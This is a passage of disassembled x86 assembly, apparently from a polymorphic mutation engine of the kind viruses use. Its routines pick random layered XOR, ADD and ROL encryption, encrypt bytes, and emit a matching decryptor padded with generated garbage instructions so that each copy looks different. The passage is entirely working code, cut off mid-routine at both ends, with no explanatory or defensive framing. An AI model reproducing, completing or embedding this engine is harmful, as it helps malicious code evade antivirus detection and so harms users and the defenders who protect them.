ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @@2: push ax push cx mov cl, 2 call Do_PUSH ; PUSH reg/mem mov ax, si shl al, 3 or al, 7 cmp al, 20h jb @@3 ; skip if not FS / GS call _Store_Instruction_Byte2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 0Fh ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ and al, 38h or al, 81h @@3: ; POP seg call _Store_Instruction_Byte call _Copy_Instruction pop cx pop ax retn Do_MOV_seg_mem endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Do_Procedure_Return proc near push cx push dx push si push edi call _Generate_4times_Garbage call _getRND_in_DX or dh, dh jnz loc_0_C6C ; do a RET mov cl, 2 ; OperandSize=2 call _Choose_Register cmp ch, 8 jb loc_0_C7B ; jump if its a register loc_0_C6C: call _Store_Instruction_Byte2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 0C3h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_C71: call _Copy_Instruction pop edi pop si pop dx pop cx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_C7B: mov al, 1 call _setRegUsed ; specify that CH register will be used for a later purpose movzx edi, ch call Do_POP ; POP reg call _Generate_4times_Garbage call _Store_Instruction_Byte2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 0FFh ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov si, 4 ; JMP reg call _Generate_ModRM mov al, 0 ; specify that CH register will not be needed call _setRegUsed jmp short loc_0_C71 Do_Procedure_Return endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; INPUT: ; BL = number of bits to shift ; BH = operation ; CL = OperandSize ; EDI = target Do_SHIFT proc near push ax push si call _Add_Needed_Prefix_66 mov al, 0D0h cmp bl, 1 ; number of bits to shift jz loc_0_CAF mov al, 0C0h loc_0_CAF: ; add one according to its size call _Size_8_16 call _Store_Instruction_Byte movzx si, bh call _Generate_ModRM cmp bl, 1 jz loc_0_CC9 mov al, bl call _Store_Instruction_Byte loc_0_CC9: call _Copy_Instruction pop si pop ax retn Do_SHIFT endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; INPUT: ; BH = operation ; CL = OperandSize ; EDI = target Do_SHIFT_CL proc near push ax push si call _Add_Needed_Prefix_66 mov al, 0D2h call _Size_8_16 ; add one according to its size call _Store_Instruction_Byte movzx si, bh call _Generate_ModRM call _Copy_Instruction pop si pop ax retn Do_SHIFT_CL endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; INPUT: ; BL = number of bits to shift ; BH = operation ; CL = OperandSize ; EDI = target Do_SHIFT2 proc near push dx push ax push bx call _getRND_in_DX jns @@1 cmp bh, 1 ja @@1 ; skip if not ROL/ROR xor bh, 1 ; reverse rotate operation neg bl ; x = (0 - BL) mov al, cl shl al, 3 neg al ; AL = (0 - OperandBits) call _getRND_in_DX and dl, al ; clear useful bits xor bl, dl ; add bits needed to do inverse rotate operation @@1: call _getRND_in_DX and dl, not 1Fh xor bl, dl ; set random higher bits (cpu ignores them) call Do_SHIFT pop bx pop ax pop dx retn Do_SHIFT2 endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Do_SHIFT3 proc near push dx push bx call _getRND_in_DX and dh, 6 xor bh, dh call Do_SHIFT2 pop bx pop dx retn Do_SHIFT3 endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Choose_Encryption proc near call _getRND_in_DX and dh, 1 mov byte_0_350, dh ; encryption method xor ecx, ecx mov cl, 0FFh ; CX = 0x00FF cmp dh, 1 jnz loc_0_D48 xchg cl, ch ; CX = 0xFF00 loc_0_D48: xor bx, bx loc_0_D4A: xor si, si mov edi, ecx loc_0_D4F: mov ecx, edi cmp cl, 0FFh jnz loc_0_D80 call _getRND_in_DX cmp dh, 40h jb loc_0_D80 or dx, dx jns loc_0_E64 mov DecryptType0[bx], 8 call _getRND_in_DX test dl, 7 jnz loc_0_D76 add dl, dh loc_0_D76: and dl, 7 mov (DecryptType0+1)[bx], dl ; random reg jmp loc_0_E81 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_D80: cmp ch, 0FFh jnz loc_0_DA8 call _getRND_in_DX cmp dh, 40h jb loc_0_DA8 mov DecryptType0[bx], 9 call _getRND_in_DX test dl, 7 jnz loc_0_D9E add dl, dh loc_0_D9E: and dl, 7 mov (DecryptType0+1)[bx], dl ; random reg jmp loc_0_E81 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_DA8: or cx, cx jz loc_0_DE4 call _getRND_in_DX cmp dh, 0D0h jb loc_0_DE4 mov al, cl or al, ch cmp al, 0FFh mov word ptr DecryptType0[bx], 80Ah xchg cl, ch jnz loc_0_E81 xchg cl, ch call _getRND_in_DX test dl, 0Fh jnz loc_0_DD4 add dl, dh loc_0_DD4: and dl, 0Fh mov (DecryptType0+1)[bx], dl xchg cx, dx rol dx, cl xchg cx, dx jmp loc_0_E81 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_DE4: call _getRND_in_DX cmp dh, 50h jnb loc_0_E04 mov DecryptType0[bx], 0Bh and dl, 1Fh mov (DecryptType0+1)[bx], dl ; random bits xchg ecx, edx rol edx, cl xchg ecx, edx jmp short loc_0_E81 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_E04: cmp dh, 0A0h jnb loc_0_E64 and dl, 4 mov al, dl add al, 3 call _getRND_in_EDX mov dword ptr (DecryptType0+1)[bx], edx or cx, cx jz loc_0_E4E mov ah, cl or ah, ch cmp ah, 0FFh jz loc_0_E2F call _getRND_in_DX cmp dh, 0A0h jb loc_0_E4E loc_0_E2F: dec al or cl, cl jz loc_0_E48 cmp cl, 0FFh jz loc_0_E4C call _getRND_in_DX cmp dh, 50h jnb loc_0_E4E cmp dh, 28h jnb loc_0_E4C loc_0_E48: dec al jmp short loc_0_E4E ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_E4C: sub al, 2 loc_0_E4E: cmp al, 3 jbe loc_0_E7D cmp cl, 0FFh jz loc_0_E7D cmp al, 5 jnz loc_0_E60 cmp ch, 0FFh jz loc_0_E7D loc_0_E60: and al, 3 jmp short loc_0_E7D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_E64: call _getRND_in_DX mov al, 0Ch ; AL=0C cmp dh, 10h jb loc_0_E7D cmp cl, 0FFh jnz loc_0_E7D inc al ; AL=0D cmp dh, 88h jb loc_0_E7D inc al ; AL=0E loc_0_E7D: mov DecryptType0[bx], al loc_0_E81: or bx, bx jz loc_0_E97 inc si cmp si, 10h ; used to avoid endless loops jnb loc_0_E97 mov al, DecryptType0[bx] cmp al, (DecryptType0-5)[bx] jz loc_0_D4F ; if same as before, select another one loc_0_E97: add bl, 5 cmp bl, 3Ch jnb loc_0_EB1 call _getRND_in_DX mov ax, bx imul ax, 2CDh ; the greater BX, the less probability to select another one neg ax cmp dx, ax jb loc_0_D4A loc_0_EB1: mov InitialDecryptState, ecx mov DecryptTypeEnd, bl ; specifies end of choosen decrypt algorithm call _getRND_in_DX mov ax, dx and ax, 7FFh mov dl, 9 div dl add ah, 10h mov byte_0_353, ah ; AH = 10..18 cmp byte_0_350, 1 jnz loc_0_ED8 sub ah, 8 loc_0_ED8: ; ah = 08..18 mov byte_0_352, ah call _getRND_in_DX mov al, 0 ; AL = 00 cmp dh, 50h jb loc_0_EF0 mov al, 5 ; AL = 05 cmp dh, 0A0h jb loc_0_EF0 mov al, 6 ; AL = 06 loc_0_EF0: mov DecryptOperation, al call _getRND_in_DX cmp dl, 10h jnb loc_0_EFF add dl, 10h loc_0_EFF: ; dont allow 0xFF cmp dl, 0FFh jnz loc_0_F07 sub dl, 2 loc_0_F07: ; DL = 10..FD mov DecryptOffset, dl call _getRND_in_DX shl edx, 10h mov dl, 1 mov StaticData_ACGCODES_Pointer_Increment, edx ; value 1, with random high word retn Choose_Encryption endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Table_Code0: xor al, cl retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Table_Code1: xor ah, cl retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Table_Code2: xor ax, cx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Table_Code3: xor eax, ecx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Table_Code4: add al, cl retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Table_Code5: add ah, cl retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Table_Code6: add ax, cx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Table_Code7: add eax, ecx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Table_Code8: rol al, cl retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Table_Code9: rol ah, cl retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Table_CodeA: rol ax, cl retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Table_CodeB: rol eax, cl retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Table_CodeC: xor eax, esi retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Table_CodeD: add eax, esi retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Table_CodeE: sub eax, esi retn ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Encrypt_Byte proc near push bx push ecx push dx push esi movzx eax, al xor bx, bx cmp byte_0_350, 1 jnz loc_0_F6C xchg ah, al loc_0_F6C: mov dl, DecryptType0[bx] mov ecx, dword ptr (DecryptType0+1)[bx] mov dh, 0 shl dx, 2 ; DX = DX * 4 add dx, offset Table_Code0 call dx add bl, 5 cmp bl, DecryptTypeEnd jb loc_0_F6C pop esi pop dx pop ecx pop bx retn Encrypt_Byte endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_0_F90 proc near pushad mov cx, 702h loc_0_F95: call setRegFree dec ch jns loc_0_F95 call _Generate_4times_Garbage call _Generate_4times_Garbage call _Generate_4times_Garbage call _Generate_4times_Garbage mov eax, esi mov ebp, 6 cmp edi, 1040000h jz loc_0_FD3 mov ebp, 7 cmp edi, 1050000h jz loc_0_FD3 mov ebp, 3 loc_0_FD3: mov bh, 0FFh mov bl, 2 mov cl, 4 call _Do_Instruction5 mov bh, 0 mov bl, DecryptTypeEnd sub bl, 5 loc_0_FE6: call _Generate_4times_Garbage call _Generate_4times_Garbage call _Generate_4times_Garbage push esi push edi mov ch, DecryptType0[bx] cmp ch, 8 jnb loc_0_1056 and ch, 3 cmp ch, 2 jnb loc_0_1019 mov edx, eax and dl, 3 shl ch, 2 or dl, ch mov edi, edx mov cl, 1 jmp short loc_0_1025 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_1019: mov edi, eax mov cl, 2 cmp ch, 2 jz loc_0_1025 mov cl, 4 loc_0_1025: mov esi, dword ptr (DecryptType0+1)[bx] mov ch, DecryptType0[bx] push bx mov bl, 4 mov bh, 6 cmp ch, 4 jb loc_0_1045 mov bh, 5 call _getRND_in_DX jns loc_0_1045 mov bh, 0 neg esi loc_0_1045: mov Dont_Extend_Immediate, 1 call _Do_Instruction5 mov Dont_Extend_Immediate, 0 pop bx jmp short loc_0_10BC ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_1056: cmp ch, 0Ch jnb loc_0_108E sub ch, 8 cmp ch, 2 jnb loc_0_1075 mov edx, eax and dl, 3 shl ch, 2 or dl, ch mov edi, edx mov cl, 1 jmp short loc_0_1081 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_1075: mov edi, eax mov cl, 2 cmp ch, 2 jz loc_0_1081 mov cl, 4 loc_0_1081: push bx mov bl, (DecryptType0+1)[bx] mov bh, 1 call Do_SHIFT2 pop bx jmp short loc_0_10BC ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_108E: push bx mov edi, eax mov esi, ebp mov bl, 0 call _getRND_in_DX jns loc_0_10A5 mov edi, ebp mov esi, eax mov bl, 2 loc_0_10A5: mov bh, 6 cmp ch, 0Ch jz loc_0_10B5 mov bh, 0 cmp ch, 0Eh jz loc_0_10B5 mov bh, 5 loc_0_10B5: mov cl, 4 call _Do_Instruction5 pop bx loc_0_10BC: pop edi pop esi sub bl, 5 jnb loc_0_FE6 call _Generate_4times_Garbage call _Generate_4times_Garbage call _Generate_4times_Garbage call _Generate_4times_Garbage push esi push edi mov edi, ebp mov esi, StaticData_ACGCODES_Pointer_Increment mov cl, 4 mov bl, 4 mov bh, 0 call _Do_Instruction5 pop edi pop esi call _Generate_4times_Garbage call _Generate_4times_Garbage call _Generate_4times_Garbage call _Generate_4times_Garbage and al, 3 cmp byte_0_350, 1 jnz loc_0_110C or al, 4 loc_0_110C: push esi push edi mov edi, eax mov si, word ptr DecryptOffset mov cl, 1 ; 8 bits mov bh, 7 ; CMP mov bl, 4 ; imm call _Do_Instruction2 pop edi pop esi mov SaveFlags, 1 call _Generate_4times_Garbage call _Generate_4times_Garbage mov SaveFlags, 0 mov SaveFlags, 1 mov bh, 5 mov dx, 0FF00h call Create_Jump push Instruction_Offset mov SaveFlags, 0 call _Generate_4times_Garbage call _Generate_4times_Garbage call _Generate_4times_Garbage call _Generate_4times_Garbage push edi push esi mov edi, ebp mov esi, 3 mov cl, 2 mov bl, 4 mov bh, 0 mov Dont_Extend_Immediate, 1 call _Do_Instruction5 mov Dont_Extend_Immediate, 0 pop esi pop edi call _Generate_4times_Garbage call _Generate_4times_Garbage call _Generate_4times_Garbage call _Generate_4times_Garbage mov cl, 4 mov bl, 2 mov bh, 0FFh call _Do_Instruction5 call _Generate_4times_Garbage call _Generate_4times_Garbage call _Generate_4times_Garbage call _Generate_4times_Garbage push edi mov edi, ebp mov cl, 4 mov bl, 2 mov bh, DecryptOperation ; BH = 0 , 5 , 6 call _Do_Instruction5 call _Generate_4times_Garbage call _Generate_4times_Garbage call _Generate_4times_Garbage call _Generate_4times_Garbage mov cl, 4 mov bl, 0 mov bh, 0FFh call _Do_Instruction5 call _Generate_4times_Garbage call _Generate_4times_Garbage call _Generate_4times_Garbage call _Generate_4times_Garbage mov edi, esi mov cl, 4 mov bh, 1 mov bl, byte_0_352 call Do_SHIFT3 pop edi pop bx mov dx, Instruction_Offset sub dx, bx mov es:[bx-2], dx popad nop call _Generate_4times_Garbage call _Generate_4times_Garbage call _Generate_4times_Garbage call _Generate_4times_Garbage retn sub_0_F90 endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Reg8Tbl db 0, 2, 4, 6, 1, 3, 5, 7 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ getRegIndex proc near mov bl, ch cmp cl, 1 jnz not_reg8 mov bh, 0 mov bl, Reg8Tbl[bx] ; convert reg8 index into reg16 index jmp short loc_0_122F ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ not_reg8: shl bl, 1 loc_0_122F: mov bh, 0 retn getRegIndex endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ RegIndex_to_CH proc near push dx mov dx, bx mov ch, 0 loc_0_1237: call _getRegIndex cmp bx, dx jz loc_0_1243 inc ch jmp short loc_0_1237 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_1243: pop dx retn RegIndex_to_CH endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Touch_EDI proc near movzx edi, di cmp di, 0FF00h jnb loc_0_125B ; jump if register or edi, 1060000h add di, D_CODEBASE retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_125B: and edi, 7 retn Touch_EDI endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E 